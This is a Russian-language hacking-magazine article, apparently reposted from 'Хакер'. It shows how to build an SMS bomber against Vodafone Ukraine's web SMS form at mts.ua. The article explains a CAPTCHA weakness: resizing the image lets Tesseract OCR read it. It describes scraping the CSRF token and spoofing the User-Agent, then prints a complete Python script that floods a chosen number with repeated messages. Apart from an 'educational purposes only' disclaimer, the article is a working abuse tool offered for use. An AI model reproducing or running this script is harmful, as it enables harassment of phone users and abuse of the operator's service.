Хакер - SMS-бомбер на Python. Трюк от читателя: эксплуатируем недоработки Vodafone (бывший «МТС Украина»)
nopaywall

Содержание статьи

WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Обзор онлайн SMS-сервиса Vodafone
Наш сегодняшний подопытный, портал http://mts.ua, раньше принадлежал «МТС Украина». Эту контору выкупил Vodafone. Есть на этом сайте и форма отправки SMS.
Защищена она цифровой CAPTCHA из четырех символов. Стоит отметить, что форма позволяет отправлять SMS только клиентам Vodafone с префиксами номеров:
+38050 +38066 +38095 +38099
Теперь посмотрим на саму CAPTCHA. Как видишь, цифры вполне различимы. Они имеют красный цвет, но их верх обрезан, и расположены они очень близко друг к другу.
А теперь приглядимся более внимательно к той части скрипта, которая отображает CAPTCHA. Если мы сформируем ссылку
http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&width=115&height=42&backColor=0xffffff&foreColor=0xff0000
то увидим CAPTCHA с высотой 42 пикселя и 115 пикселей шириной. Изменив значения на 242 и 315, мы получим удивительный результат: обрезанный верх цифр уйдет и расстояние между символами увеличится.
При отправке SMS скрипту http://www.mts.ua/ru/online-services/send-sms/ через метод POST передаются следующие параметры:
YII_CSRF_TOKEN— это CSRF-токен, который нужно прочитать из HTML один раз при подготовке рассылки;widgetId:'messager'— это стандартное значение, оно не меняется;MessageForm[network]:'38050'— из значения ясно, что это мобильная сеть;MessageForm[phone]:'123-45-67'— номер телефона, куда отправляем SMS;MessageForm[encoding]:'cyrilic'— кодировка сообщения, можно менять;MessageForm[is_translit]:'0'— транслитерация (0 — выключена, 1 — включена);MessageForm[message]:'Привет 123'— сам текст сообщения;MessageForm[verifyCode]:'4444'— распознанная CAPTCHA.
Также не стоит забывать, что нужно хранить cookies! В дальнейшем мы к этому вернемся.
Разработка SMS-бомбера
Попробуем разработать SMS-бомбер — скрипт, который будет рассылать через гейт множество однотипных SMS-сообщений. Разрабатывать будем на Python 2.x, также нам понадобятся модули requests, pytesseract, Image.
Скрипт мы будем разрабатывать под Windows, с чем и связаны особенности установки Tesseract и настройки путей.
В самом начале мы получаем CSRF-токен:
def get_csrf(): xhtml=get_url("http://www.mts.ua/ru/online-services/send-sms/",1) xs=xhtml.find("var csrfToken = '") xl=len("var csrfToken = '") csrf_=xhtml[xs+xl:xs+xl+40] return csrf_
Функция очевидная — обычный поиск текста. CSRF-токен получаем всего один раз за всю рассылку.
Теперь нужно получить CAPTCHA и распознать ее. Для этого мы будем использовать Tesseract. Вначале нужно установить саму программу и модуль Python к ней. Полный исходный код функции можно посмотреть в скрипте, который я приведу в конце статьи.
В этой функции мы скачиваем CAPTCHA и сохраняем ее на диске как xcaptcha.png. Затем мы распознаем ее с помощью pytesseract и проводим проверку длины распознанной строки. Если в ответе мы получили четыре символа, значит, все правильно, если нет — пытаемся распознать повторно до тех пор, пока не получим искомые четыре цифры.
Вероятность распознавания капчи — 40–60%. Конечно, не 100%, но все равно солидно.
Для сохранения cookies и получения данных по URL используется вспомогательная функция get_url: куки сохраняются (или нет) в зависимости от значения xparam.
Остается только отправить само сообщение. Это выполняется в функции send_sms, где заполняются все описанные выше параметры для скрипта http://www.mts.ua/ru/online-services/send-sms/ и отправляется POST-запрос.
В зависимости от наличия в ответе строки
<div class="response-message">
мы определяем, успешно отправлено сообщение или нет. Стоит отметить, что User Agent мы подставляем поддельный:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
Использование SMS-бомбераЗаключение
На этом у меня все. Полный код скрипта приведен во врезке ниже, а я в качестве заключения еще раз напоминаю: все то, что ты сегодня прочел, опубликовано исключительно в образовательных целях.
Полный листинг скрипта
import sys,os,requests,time,subprocess,string try: import Image except ImportError: from PIL import Image import pytesseract pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files (x86)\\Tesseract-OCR\\tesseract.exe' tessdata_dir_config = '--tessdata-dir "C:\\Program Files (x86)\\Tesseract-OCR\\tessdata"' ## ---------------------------------------------------------------- headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'} SESSION="" COOKIES="" ## ---------------------------------------------------------------- def write_to_file(fname,xdata): f=open(fname,"w") f.close f=open(fname,"wb") f.write(xdata) f.close ## ---------------------------------------------------------------- def get_u rl(xURL,xparam): global headers global SESSION global COOKIES try: r = SESSION.get(xURL, headers=headers,allow_redirects=True) if xparam==1: COOKIES=r.cookies except: print "[-] Network errror !" sys.exit(0) if r.status_code != 200: print "[-] Server errror",r.status_code sys.exit(0) return r.content ## ---------------------------------------------------------------- def get_captcha(): n_try=1 xlen_=5 while xlen_!=4: print "[*] Getting CAPTCHA from mts.ua, attempt number",n_try captcha_=get_u rl("http://www.mts.ua/?r=site/captcha&v=5981aff096f17&widgetId=messager&width=315&height=242&backColor=0xffffff&foreColor=0xff0000",0) print "[+] Captcha downloaded" write_to_file("xcaptcha.png",captcha_) print "[+] Captcha saved to xcaptcha.png" d_captcha=pytesseract.image_to_string(Image.open('xcaptcha.png'), lang='eng', config = tessdata_dir_config) xlen_=len(d_captcha) try: z=int(d_captcha) except Exception as e: xlen_=5 if xlen_!=4: print "[-] OCR is no good:",d_captcha n_try=n_try+1 print "[!] Well done OCR is good:",d_captcha return d_captcha ## ---------------------------------------------------------------- def get_csrf(): xhtml=get_u rl("http://www.mts.ua/ru/online-services/send-sms/",1) xs=xhtml.find("var csrfToken = '") xl=len("var csrfToken = '") csrf_=xhtml[xs+xl:xs+xl+40] return csrf_ ## ---------------------------------------------------------------- def send_sms(csrf,captcha,xnet,xnumber,xsms): global SESSION global COOKIES xcaptcha=str(captcha) xdata={'YII_CSRF_TOKEN':csrf,'widgetId':'messager','MessageForm[network]':xnet,'MessageForm[phone]':xnumber,'MessageForm[encoding]':'cyrilic','MessageForm[is_translit]':'0','MessageForm[message]':xsms,'MessageForm[verifyCode]':xcaptcha} r = SESSION.post(url="http://www.mts.ua/ru/online-services/send-sms/", headers=headers, data=xdata, cookies=COOKIES) zhtml=r.content sms_status=zhtml.find("<div class=\"response-message\">") if sms_status!=-1: print "[+] SMS Status: Sent OK" return 1 else: print "[-] SMS Status: Sent BAD" return 0 ## ---------------------------------------------------------------- os.system("cls") print "-=[Vodafone SMS Unobomber v 0.1]=-" SESSION=requests.Session() sms_text=raw_input("Enter SMS message: ").decode(sys.stdin.encoding or 'utf-8') xnetwork=raw_input("Enter mobile network(38050;38066;38095;38099): ") xnumber=raw_input("Enter mobile number(in format XXX-XX-XX): ") number_of_sms=int(raw_input("Enter number of SMS's(1..XXX): ")) goods_=0 bads_=0 totals_=number_of_sms XCSRF=get_csrf() print "[+] YII_CSRF_TOKEN =",XCSRF while number_of_sms>0: CAPTCHA=get_captcha() print "[*] Sending SMS ..." xresult=send_sms(XCSRF,CAPTCHA,xnetwork,xnumber,sms_text) if xresult==1:goods_=goods_+1 if xresult==0:bads_=bads_+1 number_of_sms=number_of_sms-1 time.sleep(2) print "----------------------------------------------------------" print "[!] Total:",totals_,"; Goods:",goods_,"; Bads:",bads_ ## ---------------------------------------------------------------Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall